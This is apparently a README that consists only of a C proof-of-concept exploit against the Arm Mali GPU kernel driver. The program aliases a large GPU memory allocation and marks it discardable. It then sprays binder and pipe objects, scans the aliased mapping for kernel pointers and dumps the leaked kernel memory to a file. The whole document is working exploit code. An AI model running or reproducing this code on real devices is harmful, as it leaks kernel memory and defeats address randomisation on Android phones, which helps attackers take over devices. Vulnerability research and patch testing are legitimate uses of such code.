README.md
Rendering markdown...
#include <stdio.h>
#include <errno.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/epoll.h>
#include <sys/prctl.h>
#include <byteswap.h>
#include "mali.h"
#define PAGE_SHIFT 12
#define ALLOC_SIZE 0xa0000000
#define WRITE_MAX 0x7ffff000
int main(){
fflush(stdin);
fflush(stdout);
struct kbase_ioctl_version_check data;
data.major = 999;
data.minor = 999;
int fd = open("/dev/mali0", O_RDWR);
if (fd == -1) {
perror("Open mali0");
return -1;
}
if(ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &data) < 0){
perror("ioctl <KBASE_IOCTL_VERSION_CHECK> failed and returned");
return -1;
}
printf("Version major,minor = %d,%d\n", data.major, data.minor);
struct kbase_ioctl_set_flags flags;
flags.create_flags = BASEP_CONTEXT_CREATE_KERNEL_FLAGS;
if(ioctl(fd, KBASE_IOCTL_SET_FLAGS, &flags) < 0){
perror("ioctl <KBASE_IOCTL_SET_FLAGS> failed and returned");
return -1;
}
void *mem_area = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE );
if(mem_area == MAP_FAILED){
perror("mmap failed : ");
return -1;
}
union kbase_ioctl_mem_alloc mem_alloc;
mem_alloc.in.va_pages = ALLOC_SIZE >> PAGE_SHIFT;
mem_alloc.in.commit_pages = ALLOC_SIZE >> PAGE_SHIFT;
mem_alloc.in.flags = BASE_MEM_SAME_VA | BASE_MEM_PROT_CPU_RD |
BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR |
BASE_MEM_PROT_GPU_WR;
if(ioctl(fd, KBASE_IOCTL_MEM_ALLOC, &mem_alloc) < 0){
perror("ioctl <KBASE_IOCTL_MEM_ALLOC> failed and returned");
return -1;
}
void *gpu_va = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, mem_alloc.out.gpu_va);
if(gpu_va == MAP_FAILED){
perror("GPU_VA mmap failed: ");
return -1;
}
printf("GPU_VA is : 0x%llx\n", (unsigned long long)gpu_va);
union kbase_ioctl_mem_alias mem_alias;
mem_alias.in.nents = 1;
mem_alias.in.stride = ALLOC_SIZE >> PAGE_SHIFT;
mem_alias.in.flags = BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR
| BASE_MEM_PROT_CPU_RD;
struct base_mem_aliasing_info aliasing_info;
aliasing_info.handle.basep.handle = (__u64)gpu_va;
aliasing_info.offset = 0x0;
aliasing_info.length = ALLOC_SIZE >> PAGE_SHIFT;
mem_alias.in.aliasing_info = (__u64)&aliasing_info;
if(ioctl(fd, KBASE_IOCTL_MEM_ALIAS, &mem_alias) < 0){
perror("ioctl <KBASE_IOCTL_MEM_ALIAS> failed and returned");
return -1;
}
struct kbase_ioctl_mem_flags_change flags_change;
flags_change.gpu_va = (__u64)gpu_va;
flags_change.mask = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED;
flags_change.flags = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED;
if(ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &flags_change) < 0){
perror("ioctl <KBASE_IOCTL_MEM_FLAGS_CHANGE> failed and returned");
return -1;
}
printf("flags_change is successful.\n");
void *alias_va = mmap(0, ALLOC_SIZE, PROT_READ,
MAP_SHARED, fd, mem_alias.out.gpu_va);
if(alias_va == MAP_FAILED){
perror("ALIAS_VA mmap failed: ");
return -1;
}
printf("ALIAS_VA is : 0x%llx\n", (unsigned long long)alias_va);
// Just do some operations...
int stat = open("/proc/self/stat", O_RDONLY);
void *dummy = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if(dummy == MAP_FAILED){
perror("dummy mmap ");
return -1;
}
memset(dummy, 0x41, 0x4000);
int fds[2];
pipe(fds);
int binder_fds[100];
for(int i=0; i<100; i++)
binder_fds[i] = open("/dev/binder", O_RDWR);
printf("Looking for leaks...\n");
int vulnerable = 0;
int found = 0;
size_t iterate = ALLOC_SIZE/8;
for(size_t i=0; i<iterate; i++){
if((*(unsigned long *)(alias_va + i*8) & 0xffffff8000000000) == 0xffffff8000000000){
printf("Found possible kernel addr : 0x%lx\n", *(unsigned long *)(alias_va + i*8) );
vulnerable = 1;
found += 1;
}
if(found == 50)
break;
}
int dump_fd;
if((dump_fd = creat("./dump.bin", S_IRUSR | S_IWUSR)) < 0){
perror("Open dump.bin file");
return -1;
}
write(dump_fd, alias_va, WRITE_MAX);
if(vulnerable){
printf("Found leaks. Also you can check 'dump.bin' file for more leaks.\n");
} else {
printf("Couldn't find any kernel leak, might check 'dump.bin' file.\n");
}
return 0;
}